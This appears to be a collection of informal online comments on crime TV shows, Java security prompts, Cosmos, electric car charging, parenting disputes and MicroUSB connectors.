Pauley Perette has (or had for a while) the highest Q-score on TV.
Nobody, apparently, doesn't like her.
That aside, every procedural crime drama on TV uses the same deus ex machina shortcuts when it's convenient to do so, but ignores those same shortcuts when their script-writers feel like it. License plate scanners, instant DNA results, cell phone GPS, INTERPOL databases, image ENHANCE! -- they all produce results (or don't) based on the whims of whatever story they're telling each week.
Anyone who's ever called the cops because their car got broken into knows a team of CSI agents isn't going to ever descend to do anything - ever.
We've got "First 48" on TV to remind people that cops are, generally speaking, average Joes who wait a month to get inconclusive results on any test sent to a lab, and that any camera footage they ever view will be pointlessly grainy beyond identification -- and that no crime is ever solved without a confession....especially not in Cleveland.
There's nothing expensive described in this process other than perhaps the labor. The workstations are older run-of-the-mill Dell machines using off-the-shelf TV capture cards for grabbing news tidbits.
The government may be full of pork, but there's no obvious waste described in the document.
It takes 88 pages of government document to say what format to cut-and-paste news articles you captured while browsing websites and capturing TV with some media cards into emails.
There's some analysts, and they sit in a cube, and they watch MSNBC and surf HuffPo, and when there's an earthquake, they send an email using very specific fonts, or IM each other about it.
-new versions do break old functionality by adding new behavior (often around security)
Multiple programs each requiring unique versions of Java (and each only looking at the default Java on the system) coexisting on the same machine used to be my biggest nightmare.
Now though, it's security. Oh, I'm sorry. Did the vendor sign their.jar files in a way that makes 7_fourtywhatever not shit out dialog boxes? Oh they didn't? Did Sun include simple registry values to fix this? No. They moved to a crazy collection of files in %appdata%? Oh, that should be fun.
Do you want to run this code? Are you absolutely sure you want to run this code? No, you can't run it anyway, because your security settings are wrong. Would you like to change your settings now? No, you can't. You need to change obscure settings.
I'll take a look, but as long as it's at the level of IMDB squabbles, it's still well, well, below the level of "catastrophic shitstorm" that I suspected after last week.

Two quick points.
(1) Yeah, the first thing I thought to myself was, "Yeah, I watched Cosmos this week too."
(2) I was initially surprised by the fact there wasn't more outrage over Cosmos tipping over conservative apple carts, but it then occured to me that everyone who would be offended by Cosmos was probably self-selecting to not watch anyway. Probably a lot of preaching to the choir going on on Sunday morning and night now.:(

Purely electric cars have a footprint too, grid electricity has a footprint, on average, about the same as a 50mpg car -- more or less depending on where in the country you are -- or what country you're in.
The base model Leaf used to only have the "slow" charger, now all Leafs (Leaves?) have both charging ports and level 3 charging capacity.
The Tesla has an adapter to use the CHAdeMO 6.6v chargers. I imagine the Leaf could have an adapter, if they wanted to pay the $2500 fee(!) for lifetime Supercharger access.
It's messy, but it's getting cleaner, and we'll probably start seeing all of the ports on vehicles or friendly adapters come in the bag with your charging cable. Maybe sometime after that we'll legislate a charging standard -- or standards.

You coulda taken the kids, sweetheart. In the overwhelming majority of splits, if the dad wants the kids, he gets them.
Oh Wait. You're Serious? Let Me Laugh Even Harder!
Except, of course, that it will, since they hash in 2M chunks, and your 700M movie will have 348 consecutive matching hashes.
It's makes it the SAME effective.
You need to get X degrees above the ambient temperature, which is what your starting air will be...
Heating cold air to warm and keeping it there is pretty much the same as heating warm air to hot...
Then you can take your kids to private school.
Probably the same thing that happens if you refuse to wear the uniform, get them vaccinated, or submit their medication to the nurse's office.
If it were my kid, it would be a different story.
...
I have no children.
All righty then...

You're welcome.
Nobody purchasing a $15 Prada bag confuses it with the real one either -- but it hurts Prada sales and weakens their brand.
We've got two kids in the house still. 13 and 15. They're watching, because they don't get a choice. :)

That's nice, but you've pulled your stats out of your ass.

In short, you're completely wrong, you made up your numbers, and you are, at best, uninformed.

Smog in NYC is much more a factor of geography.
LA, for example, is in a basin, and it pools, despite the ocean to the left.

Right now, you've got adapters.

The problem with MicroUSB is that it has three sides.
You put it in, and it doesn't fit, so you turn it over.
You put it in again, it doesn't fit, so you turn it back over.
Now it fits.
All cops evil. Got it. Thanks.
